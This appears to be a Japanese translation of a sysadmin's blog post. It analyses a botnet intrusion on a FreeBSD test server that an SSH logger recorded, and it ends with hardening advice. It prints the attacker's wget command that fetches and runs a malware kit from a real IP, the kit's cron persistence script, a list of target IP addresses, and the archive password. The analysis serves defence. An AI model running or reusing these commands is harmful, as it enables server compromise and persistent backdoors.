サーバーマルウェアまたはsshロガーが必要な理由

良い一日。 sshロガーの有用性についてお話したいと思います。

サーバーシステムとして、FreeBSDを使用することを好みます。 そして、原則として、すべてのユーザーのsshセッションを記録するシステムユーティリティであるtermlogをインストールします。 残念ながら、現在バージョン9では、utmpが非推奨になり、utmpxに置き換えられているため、termlogが壊れているとマークされています。そのため、termlogはバージョン8でのみ機能します。

ファイルfileops.c、snp_setup関数

+ logname[rindex(logname,'/')-logname] = 'D'; sm->fp= fopen(logname, "w");
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

termlogは非常に便利なユーティリティであるため、9番目のバージョンで書き換えられることを期待しましょう。 そして、ここに理由があります。 dyndnsアドレスがあり、実験に使用されたテストサーバーで、termlogをインストールし、テストパスワードを使用してユーザーテストを作成しました。テストパスワードでtermlogを確認し、このユーザーを安全に忘れました。 しばらくして、記録されたユーザーテストのsshセッションを見つけました。

 ;; Session started: 2012-01-09 16:52:36.811241 ;; Username: test ;; TTY line: pts/0 $ w 7:52PM up 1 day, 4:07, 1 user, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT test pts/0 techsrv-kvm.vpsh 7:52PM - w $ passwd Changing local password for test Old Password: New Password: Retype New Password: $ cd /var/tmp $ ls -a . .. vi.recover $ mkdir ... $ cd ... $ $ wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh --2012-01-09 19:56:12-- http://85.112.29.165/kde.tgz Connecting to 85.112.29.165:80... connected. HTTP request sent, awaiting response... 200 OK Length: 218392 (213K) [application/x-gzip] Saving to: `kde.tgz' 0% [ ] 0 --.-K/s 4% [> ] 9,544 36.9K/s 11% [===> ] 24,988 48.2K/s 22% [=======> ] 48,856 63.1K/s 39% [==============> ] 86,764 83.9K/s 58% [=====================> ] 127,480 99.1K/s 72% [===========================> ] 158,368 102K/s 76% [============================> ] 166,792 91.8K/s 80% [==============================> ] 176,620 86.7K/s 94% [===================================> ] 206,104 90.7K/s 100%[======================================>] 218,392 95.3K/s in 2.2s 2012-01-09 19:56:15 (95.3 KB/s) - `kde.tgz' saved [218392/218392] x .kde/ x .kde/1 x .kde/autorun x .kde/b x .kde/b2 x .kde/bang.txt x .kde/cron x .kde/crond x .kde/dir x .kde/f x .kde/f4 x .kde/fwd x .kde/j x .kde/j2 x .kde/mech.help x .kde/mech.set x .kde/run x .kde/s x .kde/sl x .kde/start.sh x .kde/std x .kde/stealth x .kde/stream x .kde/talk x .kde/tty x .kde/update x .kde/v2 x .kde/x ./start.sh: /#bin/bash: not found * * * * * /var/tmp/.../.kde/update >/dev/null 2>&1 ELF binary type "0" not known. crond: 1: Syntax error: "(" unexpected $ rm -rf * $ cd .. $ ls -a . .. .kde $ rm -rf .kde $ w 7:56PM up 1 day, 4:11, 1 user, load averages: 0.22, 0.07, 0.02 USER TTY FROM LOGIN@ IDLE WHAT test pts/0 techsrv-kvm.vpsh 7:52PM - w $ exit
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

それは何ですか？ 明らかに、ボットはインターネットを歩き回り、単純なログイン、テスト、テスト、ユーザー、パスなどのパスワードペアを使用して、ポート22が開いているサーバーに接続しようとします。 そして認めなければならない、彼はそれをやった。 彼は、私が誤って忘れてしまったユーザーの名前とパスワードを推測し、なんとかログインできました。 彼は次に何をしましたか？ まず、ユーザーテストのパスワードを変更し、ディレクトリ「...」を準備しました。

 $ passwd $ cd /var/tmp $ ls -a . .. vi.recover $ mkdir ... $ cd ...
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

次に、kdeをダウンロードして解凍し、解凍したものを実行しようとしました。

 wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

ご想像のとおり、kdeはまったくありませんでしたが、無害なものはありませんでした。 このアーカイブを展開すると、Miscrosoft Security Essentialsは4つの脅威を発見しました。

• Linux / Xhide.E
• Linux / Small.B
• Linux / Slice.A
• Perl / Shellbot.S

バックドア、フラッダー、DoSの脅威！ そして、最初は何もグーグルできませんでした。 弱くないので、システムでどのように実装されるか見てみましょう。

どうやらそれはここから始まります-./start.sh

 /#bin/bash ./autorun ./run
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

ここでは、2つの自動実行スクリプトが呼び出され、起動と実際の起動自体を自動化します-実行します。

./autorunを見てください

 #!/bin/sh pwd > dir dir=$(cat dir) echo "* * * * * $dir/update >/dev/null 2>&1" > cron crontab cron crontab -l | grep update echo "#!/bin/sh if test -r $dir/mech.pid; then pid=\$(cat $dir/mech.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

まず、何らかの理由でボットはdirファイルをバッファーとして使用して、dir変数内の現在のディレクトリの絶対アドレスを取得します。 dir = `pwd`を使用することもできますが、dirファイルは現在のディレクトリを取得するために他のスクリプトによってどこかで使用されている可能性があります。

 pwd > dir dir=$(cat dir)
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

次に、タスクをcronファイルに書き込み、更新スクリプトを常に実行し、エラーとレポートの出力を無効にし、このファイルをタスクとともにクラウンプランナーに追加します。

 echo "* * * * * $dir/update >/dev/null 2>&1" > cron crontab cron
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

次に、タスクが追加されたかどうかも確認します

 crontab -l | grep update
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

どうやらセッションは反対側に書かれており、誰かが実装の成功を見ているようです。 またはそれはすべて何らかの形で自動化されています。

そして今、ボットは、実行スクリプトがまだ実行されていない場合に実行スクリプトを実行する更新スクリプトを生成し、既に起動されている場合は、メインプロセスにCHILDシグナルを送信することによって乗算します。 タスクは時間を示します* * * * * *、したがって、新しい子プロセスは毎分形成されます。

 echo "#!/bin/sh if test -r $dir/mech.pid; then pid=\$(cat $dir/mech.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

実行スクリプトにはcrondへの呼び出しが含まれています。crondは、kdeフォルダーからのフラッダーやその他の厄介なもののすべてのバックドアを実行するようで、バイナリファイルです。 アンチウイルスはステルスファイルを誓います。

 #!/bin/sh export PATH=. Crond
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

しかし、ssh-sessionログからのこの行は、ボットが構文に誤っていたことを明確にします。 どうやらスクリプトはFreeBSD 8ではテストされておらず、バイナリファイルシェルのコマンドを使用しているようです。

 ELF binary type "0" not known. crond: 1: Syntax error: "(" unexpected
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

また、次の形式のポートを持つIPアドレスのリストがあるbang.txtファイルにも気付きました。

 62.231.97.194:25 193.226.151.44:80 81.196.51.19:1025 193.231.212.123:80 80.97.145.79:80 81.196.102.250:443 81.196.119.21:1025
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

これはおそらく、DoSまたはフラッド攻撃のターゲットのリストです。 kde.tgz （アーカイブのパスワードはhabr）を参照してください。誰かが興味を持っている場合は、ダウンロードして見てください。サーバーのIPアドレスもリストに含まれている可能性があります。

まとめると

1. sshロガーを使用すると非常に便利です。 サーバーがハッキングされている場合、その方法を見つけて穴を塞ぐことができます。 もちろん、攻撃者はsshセッションログをこすることができますが、これに時間を費やすことはほとんどありません。 また、ボットでもある場合。
2. サーバー側マルウェアは、Unixサーバーをゾンビ化し、それらを汚い目的で使用するため、クライアント側マルウェアと同じくらい危険です。
3. 基本的なセキュリティルールに従います-パスワードを使用する必要がある場合は、検索に耐性のあるsshキーまたはパスワードを使用し、定期的に変更します。
4. 適切なウイルス対策またはWindows以外のOSファミリを使用します。 ftpとsshの多くのホスティングサービスは同じアカウントを使用します。 したがって、コンピューターにトロイの木馬がある場合、ftpマネージャーからサーバーからユーザー名とパスワードを盗むことができ、攻撃者はsshを介して正常にログインすることができますが、次に何が起こるかは明らかです。
   
   
5. サーバー上のcron、init.d、rc.dなどで割り当てられているタスクのリストを確認します。 サーバーがゾンビである可能性がありますが、それについては知りません。
6. テストアカウントが不要になったら削除します。

さまざまなUNIXシステムのsshロガーを確認し、カーネルを介したファイルシステムコールをインターセプトし、変更をチェックし、感染ファイルの通知/ブロック/バックアップコピーを作成するサーバーウイルス対策プログラムを作成することにより、このテーマに関する一連の記事を続けます。



termlogソースを編集するためのソリューションは、forum.lissyara.suで見つかりました。